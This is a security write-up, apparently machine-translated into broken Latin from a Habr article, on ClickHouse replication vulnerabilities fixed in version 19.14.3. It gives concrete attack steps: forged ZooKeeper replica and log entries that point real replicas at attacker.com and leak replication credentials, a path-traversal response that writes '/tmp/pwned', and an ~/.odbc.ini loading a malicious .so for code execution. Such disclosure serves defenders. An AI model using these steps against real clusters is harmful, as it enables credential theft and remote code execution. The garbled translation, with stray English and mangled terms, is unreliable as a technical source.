Cur caveis saepti clausas servare debes?

Cur caveis saepti clausas servare debes?

Hic articulus fabulam de valde specifica vulnerabilitate in protocollo replicationis ClickHouse narrabit et quomodo impetus superficiei dilatari potest.

ClickHouse database ad magnas notitiarum volumina condendum est, frequentius pluribus quam una imagine utens. Clustering and replication in ClickHouse are built on top Apache ZooKeeper (ZK) et scribe iura require.

Default ZK institutionem authenticas non requirit, itaque milia servorum ZK ad configuranda Kafka, Hadoop, ClickHouse publice praesto sunt.

Ad superficiem oppugnationis reducere, semper authenticas et auctoritatis configurare debes cum inaugurari ZooKeeper

Sunt sane quaedam 0day subnixa Javae deserializations, sed fingunt oppugnatorem posse legere et scribere ad ZooKeeper, replicationibus strepitibus adhibitis.

Cum in botro modo figuratus, ClickHouse subsidia quaesita distribuit Wareztransiens ZK - his nodi creantur in scheda /clickhouse/task_queue/ddl.

Exempli gratia, nodi creas /clickhouse/task_queue/ddl/query-0001 with content;

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

et postea, mensa probata delebitur in botro servientibus host1 et host2. DDL etiam cursus CRE/ALTER/ORO queries sustinet.

Integer FORMIDULOSUS? Sed ubi oppugnator potest servo alloqui?

Replicatio ClickHouse operatur in gradu singularum tabularum, ita ut, cum mensa in ZK creetur, cultor specificetur qui reus erit metadata cum replicationibus permutandis. Exempli gratia, cum exsequens petitionem (ZK configurari debet; chXX' β€” nomen effigiei; foobar - mensa nomen);

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

lymphaticorum ut creatus est columnas ΠΈ metadata.

Summa /clickhouse/tables/01/foobar/replicas/chXX/hospes:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Potestne data ex hoc botro iungi? Etiam, si portum replicatio (TCP/9009) In server chXX-address murus ignis non claudetur et authenticas replicationis non configurabitur. Quomodo authenticas praeterire?

Oppugnator novam effigiem in ZK creare potest ex argumentis simpliciter describendis /clickhouse/tables/01-01/foobar/replicas/chXX et mutantur significatio host.

Summa /clickhouse/tables/01-01/foobar/replicas/oppugnator/exercitus:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Tunc aliis replicas narrare debes esse novum scandalum notitiae in servo oppugnatoris quod capere oportet - nodi in ZK creatum est. /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX monotonice contra crescens, qui debet esse maior quam ultimus in eventu stipes);

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

quibus source_replica - nomen imaginis oppugnatoris superiore gradu creatum est, block_id - data scandalum identifier; ut - "obstructionum adepto" imperium (and hic praecepta ad alias operationes sunt).

Deinde quaevis replica legit novum eventum in ligno et servo regitur ab oppugnatore ad truncum notitiarum recipiendum (replicatio protocolli est binarii super HTTP accurrens). Servo attacker.com petitiones accipiet:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

ubi XXX est authentica notitia replicationis. In quibusdam casibus haec ratio potest esse cum accessu ad database per principale protocollum ClickHouse et protocollum HTTP. Ut vidisti, impetus superficiei critico grandis fit, quia ZooKeeper, propter replicationem usus, sine authenticis conformatus relictus est.

Intueamur munus accipiendi truncum notitiarum ex imagine, plena fiducia scriptum est omnes replicationes sub propria potestate esse et inter eas confidere.

Cur caveis saepti clausas servare debes?
replicatio processus codice

Munus indicem tabularum legit, deinde nomina, amplitudines, contenta, et deinde eas tabellarum ratio scribit. Operae pretium est seorsim describere quomodo notitia in tabella systematis reposita sit.

Plures subdirectoriae in /var/lib/clickhouse (default storage Directory ex configuration file):

proficiscentur - Directory for recording vexillausitata in recuperatione cum notitia damni;
tmp - directorium ad tempus reponenda lima;
user_files β€” operationes cum scriniis in petitionibus huic directorio limitatae sunt (IN OUTFILE et alii);
metadata β€” sql fasciculi cum descriptionibus tabularum;
preprocessed_configs - discursum inde configurationis files e /etc/clickhouse-server;
Data - directorium actuale cum ipsa notitia, hoc in casu pro unoquoque datorum subdirectorium separatum hic simpliciter creatum est (exempli gratia /var/lib/clickhouse/data/default).

Pro unaquaque mensa subdirectorium creatur in directorio datorum. Quisque columna fasciculus separatus fretus est engine format. Exempli gratia ad mensam foobarab oppugnatore creatus, sequentia fasciculi creabuntur;

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Replica exspectat limam iisdem nominibus recipere cum truncum datorum dispensando nec ullo modo convalescit.

Lector attentus probabiliter iam audivit de file_name in functione non tuta concatenationem WriteBufferFromFile. Ita, hoc permittit impugnatorem ad contenta arbitraria scribere cuilibet fasciculi in FS cum iuribus usoris clickhouse. Ad hoc, replicatio ab oppugnante regenda reddere debet sequentem responsionem petitioni (linea breaka additae sunt pro facilitate intellectus);

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

et post concatenationem ../../../../../../../../../tmp/pwned tabella erit scriptum /tmp/pwned cum contentus hellofromzookeeper.

Plures exstant optiones tabellae scribendi facultatem in remoto codice exsecutionis convertendi (RCE).

Dictionaria externa in RCE

In vetustioribus versionibus, directorium cum uncinis ClickHouse repositum est cum iuribus usoris clickhouse defaltam. Occasus fasciculi sunt XML fasciculi qui ministerium legit in startup et deinde in cella /var/lib/clickhouse/preprocessed_configs. Cum mutationes fiunt, re- lecta sunt. Si aditus ad /etc/clickhouse-server inimicus potest creare suum externum dictionary exsecutabile genus et arbitrium codicem exequi. Current versiones ClickHouse iura non praebent per defaltam, sed si servo paulatim renovata est, talia iura manere potuerunt. Si botrum strepita sustines, iura ad uncinis presul, ad usorem pertinere debet root.

ODBC ad RCE

Cum inaugurari sarcina, a user creatur clickhouse, sed directorium domus eius non est creatum /nonexistent. Tamen, cum dictionariis externis utens vel aliis de causis administratores directorium creant /nonexistent et in user clickhouse accessum ad scribendum esse (SSZB! proxime. translator).

ClickHous subsidiis ODBC et aliis databases potest coniungere. In ODBC, iter ad bibliothecam datorum exactoris notare potes (.so). Antiquiores versiones ClickHouse permisit tibi hoc facere directe in tractante rogante, sed nunc strictius perscriptio nexus chordae additae est. odbc-bridge, ideo iam non potest iter ab instantia exactoris specificare. Sed potestne oppugnator scribere ad domum directorium utens vulnerabilitate supra descripto?

Faciamus lima ~/.odbc.ini contenti sic:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

cetero startup SELECT * FROM odbc('DSN=lalala', 'test', 'test'); bibliothecam onerari test.so et accepit RCE (gratias buglloc ad extremum).

Hae et aliae vulnerabilities in versione strepita 19.14.3 fixae sunt. Curam tuam ClickHouse et ZooKeepers!

Source: www.habr.com